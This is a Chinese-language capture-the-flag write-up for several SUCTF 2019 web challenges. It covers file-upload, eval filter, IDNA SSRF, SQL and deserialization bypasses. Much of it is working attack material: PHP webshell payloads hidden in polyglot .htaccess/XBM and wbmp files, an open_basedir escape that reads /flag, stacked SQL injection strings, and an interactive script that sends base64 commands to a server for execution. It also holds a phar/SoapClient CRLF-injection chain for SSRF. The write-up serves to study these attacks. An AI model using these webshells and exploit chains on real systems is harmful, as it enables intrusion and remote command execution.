Checkin
.user.ini
上传绕过,GIF89a 绕过图片检测。
可参考 GHOST_URL/file-upload/#user.ini-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6
easyphp
Brief desc
打开页面,已经给出了源码。分别是 rce bypass 和上传
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
简单分析后,发现第一步对 eval 的 RCE 的过滤很严格,可用的可见字符只剩下 ! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }
,没有可用的函数。
第二步对上传也进行了过滤,不允许 ph
开头的扩展名,不允许文件内容出现 <?
,以及 exif_imagetype
图片的判断,需要补一个文件头,如 GIF89a
。
Bypass rce
根据传统的思路,最方便的绕过就是从 ~
和 ^
入手,尝试加入完全可控内容 $_GET
/get_defined_vars
,或者使用 readfile
/scandir
。
由于有长度限制,我们使用异或的话,大概的样子是 (xxx^xxx)();
至少六个字符,那么函数名限制在了 12/2 的长度,连 phpinfo 都不行,也没想到其他的无参数函数。
既然不能直接调用函数,考虑一下用变量,毕竟 $
还可以用。全局变量最短的就是 $_GET
了,因为长度限制,下标必须在异或之后,那么大概是 ${xxxx^xxxx}{0}();
长度至少是 10 个,只剩下了四个,刚好 _GET
可以,那十八个字符刚刚好,并且按照字符重复个数,只需要一边使用完全一样的字符就行了。(捋下来发现题目限制很严格,就是只允许特定的 payload 可用)
剩下的就比较简单了,不过也涉及到一个经验问题,如何构造,因为 url 参数默认是字符串类型,不用考虑引号,并且可以使用编码构造不可见字符,这样能够选择的范围大了很多,比如: _=${%86%9E%9C%8D^%d9%d9%d9%d9}{%d9}();&%d9=phpinfo
=> _=$_GET[0]&0=phpinfo
。
不过到目前为止函数还是不能带参数,那么只能结合上传了。
Bypass upload with .htaccess
结合环境和对扩展名的限制,猜测可以使用 .htaccess
来解析上传文件,但是测试 script
标签时突然想到 php 的版本是 7.2,那么常见的方法几乎都不能使用了。
要绕过 <?
并且能够解析 php,那么方法就是想办法通过题目可用的 .htaccess
来 bypass 扩展名和文件内容检测(可能还有其他方法,太菜了)。扩展名可以通过 handler 来设置,但是文件内容检测几乎没什么办法,而且还需要绕过图片的检测,搜罗一番找到了一个类似的题目 l33t_hoster。
首先看一下 PHP 解析的图片类型
那么我们的思路就是,首先要找到能够一种格式,同时满足图片和 .htaccess 的格式,满足图片很好说,但是也要满足配置文件,就需要添加配置文件的‘不解析行’了,比如注释行,在这里除了使用 #
还有一种方法就是该行使用 \x00
开头,同样会配置文件被当做无效行来解析。结合上面的图片类型,我们需要找到的就是两种图片,一种使用注释来标记图片头,一种以 \x00
开头,例如有下面两种图片格式,以及 bypass 内容检测的思路。
另外还需要对 PHP 代码进行编码,下面的内容包含 UTF-16/Base64/UTF-7 编码三种方式。
X Bit Map with UTF-16
原题目中预期解使用了xbm格式,X Bit Map,来绕过图片检测,并且满足 .htaccess 文件格式。
在计算机图形学中,X Window系统使用X BitMap(XBM),一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成。当格式被普遍使用时,XBM通常出现在标题(.h文件)中,每个图像在标题中存储一个数组。
以下C代码示例了一个XBM文件:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
在这个c文件中高和宽都是有 # 在前面的,那么我们即使把它放在 .htaccess 文件中也不会影响 .htaccess 的实际运行效果,所以新的 .htaccess 文件内容如下
#define width 1337 # Define the width wanted by the code (and say we are a legit xbitmap file lol)
#define height 1337 # Define the height
AddType application/x-httpd-php .asp # Say all file with extension .php16 will execute php
php_value zend.multibyte 1 # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1 # Detect if the file have unicode content
php_value display_errors 1 # Display php errors
原作者使用的是 utf-16 编码,这里给出 exp
#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin
# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
generate_php_file("webshell.asp", "<?php eval($_GET['c']); die(); ?>")
在这里我们直接使用 requests 上传
burp0_url = "http://47.111.59.243:9001/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
burp0_headers = {"Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.20.0", "Content-Type": "multipart/form-data; boundary=bbd367563f7b601164d1953efae4c3ac"}
burp0_data = "--bbd367563f7b601164d1953efae4c3ac\r\nContent-Disposition: form-data; name=\"file\"; filename=\"hhh.asp\"\r\nContent-Type: image/gif\r\n\r\n\x00<\x00?\x00p\x00h\x00p\x00 \x00e\x00v\x00a\x00l\x00(\x00$\x00_\x00P\x00O\x00S\x00T\x00[\x000\x00]\x00)\x00;\x00 \x00d\x00i\x00e\x00(\x00)\x00;\x00 \x00?\x00>\n\n#define width 1337\n#define height 1337\n\n\r\n--bbd367563f7b601164d1953efae4c3ac--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
Wbmp with base64
根据 php 源码中的魔术头,可以找到一些 \x00
开头的图片,在 .htaccess 中以 \x00 开头该行会被忽略。可用的如,ico、wbmp。
如果使用 wbmp 格式,那需要生成的 payload 如下:
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .asp
php_value auto_append_file "php://filter/convert.base64-decode/resource=upload/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.asp"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
UTF7 编码
php > echo mb_convert_encoding("<?php eval('\$_POST[0])');",'utf7');
+ADw?php eval('+ACQAXw-POST+AFs-0+AF0)')+ADs-
Bypass open_basedir and disbaled func
这部分内容不再多写了,题目中只需要 bypass open_basedir 就可以在根目录读到 flag。
mkdir('/tmp/fuck');chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));
此外,df 包含了system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
,那还可以使用 putenv/error_log
、stream_socket_client
。不过好像 fpm 是个烟雾弹,根本没开。。大概只能使用 LD_PRELOAD 打了。
具体可以看
GHOST_URL/tctf-web-writeup/#solution-3
GHOST_URL/attack-webcgi-with-socket/
周末做了做 SUCTF,太菜了。。也就这个题目能够记录下,其他的题目等 wp 再补。
Ref
- https://github.com/eboda/insomnihack/tree/master/l33t_hoster
- https://www.cnblogs.com/wfzWebSecuity/p/11207145.html
pythonginx
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
利用最后的请求读文件 file:////suctf.cc/usr/local/nginx/conf/nginx.conf
预期解法应该是利用 unicode2ascii 的域名转换导致的解析问题,在 blackhat HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization 中有提到。
在这里我们需要找到一个可以通过 punycode 转为 c
的字符。
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
直接引用了 delta-wp 的爆破脚本,可得到如下
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43
其中任一都可以通过检测。
ref
https://xz.aliyun.com/t/6042#toc-29
easysql
可以通过 1;show tables;#
发现是堆叠查询。查询语句结构:select ".$post['query']."||flag from Flag
。
后面大概是因为在线维护泄露了源码
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
过滤了 flag/union/prepare 等,还有长度限制,可以直接使用 *,1
拿到 flag。
另一种做法,原理:https://blog.csdn.net/lixora/article/details/60572357
通过 ||
来实现字符串拼接,设置 sql_mode 模式为 pipes_as_concat 即可。即: 1;set sql_mode=pipes_as_concat;select 1
Cocktail’s Remix
download.php 页面任意文件下载,没有什么有用的信息,只有 config.php 存有 db 的信息,也找不到 flag 在哪,根据 robots.txt 看到 info.php,没有特殊的内容,hosts 有 mysql 的信息,但是 readfile 没办法利用,最后因为看到 ENV里有 cocktail
搜了一下题目,可以看到有一个 apache 的 module。
使用 curl "http://47.111.59.243:9016/download.php?filename=file:///usr/lib/apache2/modules/mod_cocktail.so" > cock.so
下载下来进行分析。
handler 函数并不能看懂(猜,大概是把 apache 的表取出来,逐个判断 reffer,然后 34 行,j_remix 对 reffer 进行了处理并存到了 reffer 数组,下面就是一个 popen 的命令执行了。
看一下 j_remix,调用了 remix,大佬应该能一眼看出来是个 base64
我看了一下用到的变量
(菜,那么接下来就是命令执行了。
import requests
import base64
burp0_url = "http://47.111.59.243:9016/"
burp0_cookies = {"PHPSESSID": "1dojpisj378hmeoappuatj34h3"}
while True:
cmd=raw_input()
cmd=base64.b64encode(cmd)
burp0_headers = {"User-Agent": "A", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Reffer": cmd, "Upgrade-Insecure-Requests": "1"}
r=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print r.text
upload-lab2
index.php
<?php
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}
首先是一个文件上传,对扩展名、文件大小、文件内容做了限制,php 版本为 5.6。
func.php
<?php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}
检查文件 MIME 的功能,感觉可以配合上传触发 Phar 反序列化,但是有正则限制。看一下 getMIME 函数。
class.php
<?php
include 'config.php';
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("<? in contents!");
}
}
}
可以看到 getMIME 调用了 finfo_file($finfo, $this->file_name)
,可以出发反序列化。并且 File 类有 __wakeup()
方法,通过反射初始化了一个类并调用了其 check()
成员方法。
admin.php
<?php
include 'config.php';
class Ad{
public $ip;
public $port;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}
从这里明显可以看出需要 SSRF,并且是一个 POST 请求,首先可以想到 SOAP 反序列化,__call
可以通过之前的 check()
触发,基本的链条完整。
SplStack 绕过
不过最后一步的 admin->check()
还需要成功执行,这里参考了 delta-wp 里的写法,使用 SplStack 的成员方法 push 完成执行。如此,便可以顺利触发析构函数,反弹 flag。
给出 exp
<?php
class File{
public $file_name;
public $type;
public $func = "SoapClient";
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function __construct(){
$target = 'http://127.0.0.1/admin.php';
$post_string = 'admin=&ip=x&port=x&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=';
$this->file_name = [null,array("location" => $target,"user_agent"=>"exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "http://127.0.0.1/")];
}
}
@file_put_contents("test.txt","test");
$exp=new File();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
rename("phar.phar","phar.png");
@unlink("test.txt");
那么下一步就是如何触发 phar 了。从之前 func.php 可以知道传入 phar 协议的文件地址就能触发。那么难点就在如何绕过正则,类似 compress.bzip2://
绕过,这里使用 php://filter/resource=
,完整的类似 php://filter/resource=phar://upload/fd40c7f4125a9b9ff1a4e75d293e3080/ed54ee58cd01e120e27939fe4a64fa92.png
,如此可触发完整的反序列化。
预期解 - mysql client attack
当然上面的是非预期了,看出题人的回顾,这里本是要考察 mysql client attack 的。
上面
$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');
另外,mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting 也可以发现 real_connect 会覆盖在该语句执行前的 mysqli->options
设置的选项。
ref
delta-wp
SUCTF-2019 出题笔记-&-phar-反序列化的一些拓展